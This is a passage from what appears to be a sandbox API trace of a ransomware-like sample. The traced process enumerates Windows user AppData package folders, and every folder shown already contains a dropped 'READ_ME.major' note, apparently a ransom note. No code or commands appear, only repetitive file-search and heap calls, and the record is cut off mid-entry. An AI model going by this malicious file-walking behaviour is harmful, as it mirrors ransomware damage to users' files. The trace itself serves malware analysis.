dwFlags=0x0, lpMem=0x2e40390 | out: hHeap=0x570000) returned 1 [0229.232] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6168 | out: hHeap=0x570000) returned 1 [0229.232] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0229.232] FindNextFileW (in: hFindFile=0x2f345a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39c3e7af, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x39c3e7af, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x39c3e7af, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.232] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d898 | out: hHeap=0x570000) returned 1 [0229.232] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0229.232] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b1b0 | out: hHeap=0x570000) returned 1 [0229.232] GetLastError () returned 0x12 [0229.232] GetLastError () returned 0x12 [0229.232] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658c58 | out: hHeap=0x570000) returned 1 [0229.232] GetLastError () returned 0x12 [0229.232] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee60c8 | out: hHeap=0x570000) returned 1 [0229.232] FindNextFileW (in: hFindFile=0x2f345a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39c3e7af, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x39c3e7af, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x39c3e7af, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.232] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x669820 | out: hHeap=0x570000) returned 1 [0229.232] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665980 | out: hHeap=0x570000) returned 1 [0229.232] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f607b0 | out: hHeap=0x570000) returned 1 [0229.232] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9194e327, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd223e1ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39c3e7af, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34660 [0229.233] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60df88 | out: hHeap=0x570000) returned 1 [0229.233] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0229.233] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ae80 | out: hHeap=0x570000) returned 1 [0229.233] GetLastError () returned 0x12 [0229.233] GetLastError () returned 0x12 [0229.233] GetLastError () returned 0x12 [0229.233] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be948 | out: hHeap=0x570000) returned 1 [0229.233] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f34360 | out: hHeap=0x570000) returned 1 [0229.233] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404c8 | out: hHeap=0x570000) returned 1 [0229.233] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee60f0 | out: hHeap=0x570000) returned 1 [0229.233] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0229.233] FindNextFileW (in: hFindFile=0x2f34660, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9194e327, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd223e1ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39c3e7af, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.233] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658c58 | out: hHeap=0x570000) returned 1 [0229.233] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0229.233] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8aac8 | out: hHeap=0x570000) returned 1 [0229.233] GetLastError () returned 0x12 [0229.233] GetLastError () returned 0x12 [0229.233] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658c58 | out: hHeap=0x570000) returned 1 [0229.233] GetLastError () returned 0x12 [0229.234] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be738 | out: hHeap=0x570000) returned 1 [0229.234] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f341e0 | out: hHeap=0x570000) returned 1 [0229.234] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40558 | out: hHeap=0x570000) returned 1 [0229.234] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6500 | out: hHeap=0x570000) returned 1 [0229.234] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0229.234] FindNextFileW (in: hFindFile=0x2f34660, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39c3e7af, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x39c3e7af, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x39c3e7af, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.234] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dc10 | out: hHeap=0x570000) returned 1 [0229.234] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0229.234] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b5f0 | out: hHeap=0x570000) returned 1 [0229.234] GetLastError () returned 0x12 [0229.234] GetLastError () returned 0x12 [0229.234] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658c58 | out: hHeap=0x570000) returned 1 [0229.234] GetLastError () returned 0x12 [0229.234] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee60c8 | out: hHeap=0x570000) returned 1 [0229.234] FindNextFileW (in: hFindFile=0x2f34660, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39c3e7af, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x39c3e7af, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x39c3e7af, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.234] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6694c0 | out: hHeap=0x570000) returned 1 [0229.234] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664aa8 | out: hHeap=0x570000) returned 1 [0229.234] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f600f8 | out: hHeap=0x570000) returned 1 [0229.234] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9361a05c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd2398935, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39f135c1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34720 [0229.235] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60de60 | out: hHeap=0x570000) returned 1 [0229.235] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0229.235] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b128 | out: hHeap=0x570000) returned 1 [0229.235] GetLastError () returned 0x12 [0229.235] GetLastError () returned 0x12 [0229.235] GetLastError () returned 0x12 [0229.235] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bea50 | out: hHeap=0x570000) returned 1 [0229.235] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f34360 | out: hHeap=0x570000) returned 1 [0229.235] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404f8 | out: hHeap=0x570000) returned 1 [0229.235] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6528 | out: hHeap=0x570000) returned 1 [0229.235] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0229.235] FindNextFileW (in: hFindFile=0x2f34720, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9361a05c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd2398935, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39f135c1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.235] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658f78 | out: hHeap=0x570000) returned 1 [0229.235] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0229.235] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ae80 | out: hHeap=0x570000) returned 1 [0229.235] GetLastError () returned 0x12 [0229.235] GetLastError () returned 0x12 [0229.235] GetLastError () returned 0x12 [0229.235] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be790 | out: hHeap=0x570000) returned 1 [0229.236] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f347a0 | out: hHeap=0x570000) returned 1 [0229.236] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403c0 | out: hHeap=0x570000) returned 1 [0229.236] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6078 | out: hHeap=0x570000) returned 1 [0229.236] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0229.236] FindNextFileW (in: hFindFile=0x2f34720, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39f135c1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x39f135c1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x39f135c1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.236] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658f78 | out: hHeap=0x570000) returned 1 [0229.236] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0229.236] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0229.236] GetLastError () returned 0x12 [0229.236] GetLastError () returned 0x12 [0229.236] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658f78 | out: hHeap=0x570000) returned 1 [0229.236] GetLastError () returned 0x12 [0229.236] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee60c8 | out: hHeap=0x570000) returned 1 [0229.236] FindNextFileW (in: hFindFile=0x2f34720, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39f135c1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x39f135c1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x39f135c1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.236] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658c58 | out: hHeap=0x570000) returned 1 [0229.236] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6658b8 | out: hHeap=0x570000) returned 1 [0229.236] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f604e0 | out: hHeap=0x570000) returned 1 [0229.236] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9361b3e5, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd23993e3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39f135c1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34460 [0229.236] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d9c0 | out: hHeap=0x570000) returned 1 [0229.236] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0229.237] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af90 | out: hHeap=0x570000) returned 1 [0229.237] GetLastError () returned 0x12 [0229.237] GetLastError () returned 0x12 [0229.237] GetLastError () returned 0x12 [0229.237] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be9a0 | out: hHeap=0x570000) returned 1 [0229.238] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f346a0 | out: hHeap=0x570000) returned 1 [0229.238] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405a0 | out: hHeap=0x570000) returned 1 [0229.238] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee62d0 | out: hHeap=0x570000) returned 1 [0229.238] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0229.238] FindNextFileW (in: hFindFile=0x2f34460, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9361b3e5, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd23993e3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39f135c1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.238] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658c58 | out: hHeap=0x570000) returned 1 [0229.238] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0229.238] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0229.238] GetLastError () returned 0x12 [0229.238] GetLastError () returned 0x12 [0229.238] GetLastError () returned 0x12 [0229.238] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be840 | out: hHeap=0x570000) returned 1 [0229.238] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f341a0 | out: hHeap=0x570000) returned 1 [0229.238] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40390 | out: hHeap=0x570000) returned 1 [0229.238] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee63e8 | out: hHeap=0x570000) returned 1 [0229.238] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4128 | out: hHeap=0x570000) returned 1 [0229.238] FindNextFileW (in: hFindFile=0x2f34460, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39f135c1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x39f135c1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x39f135c1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.238] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658c58 | out: hHeap=0x570000) returned 1 [0229.238] FindNextFileW (in: hFindFile=0x2f34460, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39f135c1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x39f135c1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x39f135c1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.239] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9361b3e5, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9361b3e5, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x39f135c1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f341e0 [0229.239] FindNextFileW (in: hFindFile=0x2f341e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9361b3e5, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9361b3e5, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x39f135c1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.239] FindNextFileW (in: hFindFile=0x2f341e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39f135c1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x39f135c1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x39f135c1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.239] FindNextFileW (in: hFindFile=0x2f341e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39f135c1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x39f135c1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x39f135c1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.239] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf2306679, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf2306679, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x39f5ffbe, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f346e0 [0229.239] FindNextFileW (in: hFindFile=0x2f346e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf2306679, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf2306679, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x39f5ffbe, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.239] FindNextFileW (in: hFindFile=0x2f346e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39f5ffbe, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x39f5ffbe, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x39f5ffbe, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.239] FindNextFileW (in: hFindFile=0x2f346e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39f5ffbe, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x39f5ffbe, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x39f5ffbe, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.239] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf2306679, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf2306679, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x39f5ffbe, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f342e0 [0229.240] FindNextFileW (in: hFindFile=0x2f342e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf2306679, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf2306679, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x39f5ffbe, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.240] FindNextFileW (in: hFindFile=0x2f342e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39f5ffbe, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x39f5ffbe, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x39f5ffbe, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.240] FindNextFileW (in: hFindFile=0x2f342e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39f5ffbe, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x39f5ffbe, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x39f5ffbe, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.240] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf2306679, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf2306679, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x39f5ffbe, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34360 [0229.240] FindNextFileW (in: hFindFile=0x2f34360, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf2306679, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf2306679, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x39f5ffbe, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, 